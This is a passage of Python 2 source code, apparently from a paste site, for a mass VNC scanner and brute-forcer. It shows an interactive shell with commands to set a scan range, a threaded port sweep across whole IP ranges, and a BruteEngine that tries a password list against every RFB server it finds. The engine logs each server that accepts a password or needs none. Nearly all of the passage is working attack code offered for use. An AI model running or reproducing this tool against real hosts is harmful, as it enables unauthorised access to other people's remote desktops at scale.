  919. self.do_clear(line)
  920.  
  921. def do_exit(self, line):
  922. sys.exit("Bye.")
  923. def do_quit(self, line):
  924. self.do_exit(line)
  925. def do_q(self, line):
  926. self.do_exit(line)
  927. #==========MISC COMMANDS==========#
  928.  
  929.  
  930. #==========SCAN COMMAND===========#
  931. def do_scan(self, line):
  932. line = line.lower().split(" ")
  933. if len(line) == 1 and line[0] != "":
  934. if NetTools.is_range(line[0]):
  935. stdout.write("\n\t[OK]\n")
  936. CONFIG['scan_range'] = line[0]
  937. else:
  938. stdout.write("\n\t[ERROR]\n")
  939. stdout.write("\n")
  940. ScanEngine.Start()
  941. #==========SCAN COMMAND===========#
  942.  
  943.  
  944. #==========BRUTE COMMAND===========#
  945. def do_brute(self, line):
  946. stdout.write("\n")
  947. BruteEngine.Start()
  948. #==========BRUTE COMMAND===========#
  949.  
  950.  
  951. #==========SET COMMAND===========#
  952. def do_set(self, line):
  953. OK = False
  954. line = line.lower().split(" ")
  955. if len(line) == 2 and line[0] in CONFIG.keys():
  956. if line[0] == "scan_range" and NetTools.is_range(line[1]):
  957. OK = True
  958. elif line[0] in ("scan_threads", "brute_threads", "scan_port") and Misc.is_int(line[1]):
  959. OK = True
  960. elif line[0] in ("scan_timeout", "brute_timeout") and Misc.is_float(line[1]):
  961. OK = True
  962. elif line[0] in ("auto_brute", "auto_save") and Misc.is_bool(line[1]):
  963. OK = True
  964.  
  965. if OK:
  966. CONFIG[line[0]] = line[1]
  967. stdout.write("\n\t[OK]\n")
  968. else:
  969. stdout.write("\n\t[ERROR]\n\n")
  970. else:
  971. stdout.write("\n\t[ERROR]\n\n")
  972. if CONFIG['auto_save'] == "true":
  973. Misc.save_config()
  974.  
  975. time.sleep(0.5)
  976. Display.clearscreen()
  977. #==========SET COMMAND===========#
  978.  
  979.  
  980. #==========SHOW COMMAND===========#
  981. def do_show(self, line):
  982. line = line.lower()
  983. if line in ("results", "result", "brute"):
  984. stdout.write("\nBrute Results")
  985. Display.delimiter("Brute Results")
  986. for line in open(FILES['results'], 'r').readlines():
  987. if line.strip() != "":
  988. stdout.write("%s\n" % line.strip())
  989. Display.delimiter("Brute Results")
  990. elif line in ("ips", "scan", "ip"):
  991. stdout.write("\nScan Results")
  992. Display.delimiter("Scan Results")
  993. for line in open(FILES['ips'], 'r').readlines():
  994. if line.strip() != "":
  995. stdout.write("%s\n" % line.strip())
  996. Display.delimiter("Scan Results")
  997. elif line in ("password", "passwords", "pass"):
  998. stdout.write("\nPasswords")
  999. Display.delimiter("Passwords")
  1000. for line in open(FILES['passwords'], 'r').readlines():
  1001. if line.strip() != "":
  1002. stdout.write("%s\n" % line.strip())
  1003. Display.delimiter("Passwords")
  1004. else:
  1005. stdout.write("\nSettings")
  1006. Display.delimiter("Settings")
  1007. for (config, value) in CONFIG.items():
  1008. stdout.write("%s = %s\n" % (config, value))
  1009. Display.delimiter("Settings")
  1010. stdout.write("\n")
  1011. #==========SHOW COMMAND===========#
  1012.  
  1013. class ScanEngine:
  1014. def __init__(self):
  1015. pass
  1016.  
  1017. def init(self):
  1018. global lock, semaphore
  1019. lock = threading.Lock()
  1020. semaphore = threading.Semaphore(int(CONFIG['scan_threads']))
  1021. self.ips_file = open(FILES['ips'], 'a', 0)
  1022. self.current = 0
  1023. self.found = 0
  1024. self.range = NetTools.convert_range(CONFIG['scan_range'])
  1025. self.total = int(self.range[1]) - int(self.range[0])
  1026.  
  1027. def Start(self):
  1028. self.init()
  1029.  
  1030. output_thread = threading.Thread(target=self.output_thread, args=())
  1031. output_thread.daemon = True
  1032. output_thread.start()
  1033.  
  1034. try:
  1035. integer = self.range[0]
  1036. while integer <= self.range[1]:
  1037. semaphore.acquire()
  1038. thread = threading.Thread(target=self.scan_thread, args=(integer,))
  1039. thread.daemon=True
  1040. thread.start()
  1041. integer += 1
  1042. self.current += 1
  1043. except:
  1044. stdout.flush()
  1045. stdout.write("\n\tSome thread related error occured, try lowering the threads amount.\n")
  1046.  
  1047. while threading.active_count() > 1:
  1048. pass
  1049.  
  1050. self.ips_file.close()
  1051.  
  1052. if CONFIG['auto_brute'] == "true":
  1053. BruteEngine.Start()
  1054. else:
  1055. stdout.write("\n\nDONE! Check \"output/ips.txt\" or type \"show ips\"!\n\n")
  1056.  
  1057.  
  1058. def scan_thread(self, integer):
  1059. try:
  1060. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1061. sock.settimeout(float(CONFIG['scan_timeout']))
  1062. sock.connect((NetTools.int2ip(integer), int(CONFIG['scan_port'])))
  1063. lock.acquire()
  1064. self.found += 1
  1065. self.ips_file.write("%s:%i\n" % (NetTools.int2ip(integer), int(CONFIG['scan_port'])))
  1066. lock.release()
  1067. except:
  1068. pass
  1069. semaphore.release()
  1070.  
  1071.  
  1072. def output_thread(self):
  1073. try:
  1074. while self.total >= self.current:
  1075. time.sleep(0.5)
  1076. stdout.flush()
  1077. stdout.write("\r Current [%i/%i] Found: %i " % (self.current, self.total, self.found))
  1078. except:
  1079. pass
  1080.  
  1081. class BruteEngine:
  1082.  
  1083. def __init__(self):
  1084. pass
  1085.  
  1086. def init(self):
  1087. global lock, semaphore
  1088. lock = threading.Lock()
  1089. semaphore = threading.Semaphore(int(CONFIG['brute_threads']))
  1090. self.results = open(FILES['results'], 'a', 0)
  1091. self.passwords = list()
  1092. self.servers = list()
  1093. self.current_password = None
  1094. self.output_kill = False
  1095. self.get_passwords()
  1096. self.get_servers()
  1097.  
  1098. def Start(self):
  1099. self.init()
  1100. if self.passwords is not False:
  1101. if self.servers is not False:
  1102. output_thread = threading.Thread(target=self.output_thread, args=())
  1103. output_thread.daemon = True
  1104. output_thread.start()
  1105. for self.current_password in self.passwords:
  1106. try:
  1107. for server in self.servers:
  1108. semaphore.acquire()
  1109. thread = threading.Thread(target=self.brute_thread, args=( server, self.current_password ))
  1110. thread.daemon=True
  1111. thread.start()
  1112. except:
  1113. stdout.flush()
  1114. stdout.write("\n\tSome thread related error occured, try lowering the threads amount.\n")
  1115.  
  1116. while threading.active_count() > 2:
  1117. pass
  1118. self.output_kill = True
  1119.  
  1120. self.results.close()
  1121. stdout.write("\n\nDONE! Check \"output/results.txt\" or type \"show results\"!\n\n")
  1122. else:
  1123. stdout.write("\n\tThere are no scanned ips.\n")
  1124. else:
  1125. stdout.write("\n\tThere are no passwords.\n")
  1126.  
  1127. def brute_thread(self, server, password):
  1128. try:
  1129. rfb = RFBProtocol(server[0], password, server[1], CONFIG['brute_timeout'])
  1130. rfb.connect()
  1131. rfb.close()
  1132. lock.acquire()
  1133. if rfb.RFB:
  1134. if rfb.connected:
  1135. self.servers.pop(self.servers.index(server))
  1136. if rfb.null:
  1137. password = "null"
  1138. self.results.write("%s:%i-%s-[%s]\n" % (str(server[0]), int(server[1]), password, rfb.name))
  1139. stdout.flush()
  1140. stdout.write("\r[*] %s:%i - %s \n\n" % (str(server[0]), int(server[1]), password))
  1141. lock.release()
  1142. except KeyboardInterrupt:
  1143. return
  1144. except:
  1145. pass
  1146. semaphore.release()
  1147.  
  1148. def output_thread(self):
  1149. while not self.output_kill:
  1150. try:
  1151. if self.current_password != None:
  1152. stdout.flush()
  1153. stdout.write("\r Trying \"%s\" on %i servers " % (self.current_password, len(self.servers)))
  1154. time.sleep(0.2)
  1155. except:
  1156. pass
  1157.  
  1158. def get_passwords(self):
  1159. if not Files.file_empty(FILES['passwords']):
  1160. for line in open(FILES['passwords'], 'r').readlines():
  1161. if line.strip != "":
  1162. self.passwords.append(line.strip())
  1163. else:
  1164. self.passwords = False
  1165.  
  1166. def get_servers(self):
  1167. if not Files.file_empty(FILES['ips']):
  1168. for line in open(FILES['ips'], 'r').readlines():
  1169. if line.count(":") == 1:
  1170. line = line.strip().split(":")
  1171. if NetTools.is_ip(line[0]) and Misc.is_int(line[1]):
  1172. self.servers.append([line[0], int(line[1])])
  1173. elif NetTools.is_ip(line.strip()):
  1174. self.servers.append([line.strip(), CONFIG['scan_port']])
  1175. else:
  1176. self.servers = False
  1177.  
  1178. class MainEngine:
  1179.  
  1180. def __init__(self):
  1181. global Files, NetTools, Deploy, Display, Interface, ScanEngine, BruteEngine, Misc
  1182. Files = FilesHandler()
  1183. NetTools = NetTools()
  1184. Deploy = Deploy()
  1185. Misc = MiscFunctions()
  1186. Display = Display()
  1187. ScanEngine = ScanEngine()
  1188. BruteEngine = BruteEngine()
  1189. Interface = Interface()
  1190.  
  1191. def Start(self):
  1192. self.load_config()
  1193. Display.clearscreen()
  1194. Interface.Start()
  1195.  
  1196. def load_config(self):
  1197. global CONFIG
  1198. CONFIG = pickle.load(open(FILES['config']))
  1199.  
  1200. if __name__ == "__main__":
  1201. try:
  1202. MainEngine = MainEngine()
  1203. MainEngine.Start()
  1204. except KeyboardInterrupt:
  1205. if CONFIG['auto_save'] == "true":
  1206. Misc.save_config()
  1207. sys.exit("\n\n\t...Exiting...\n")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement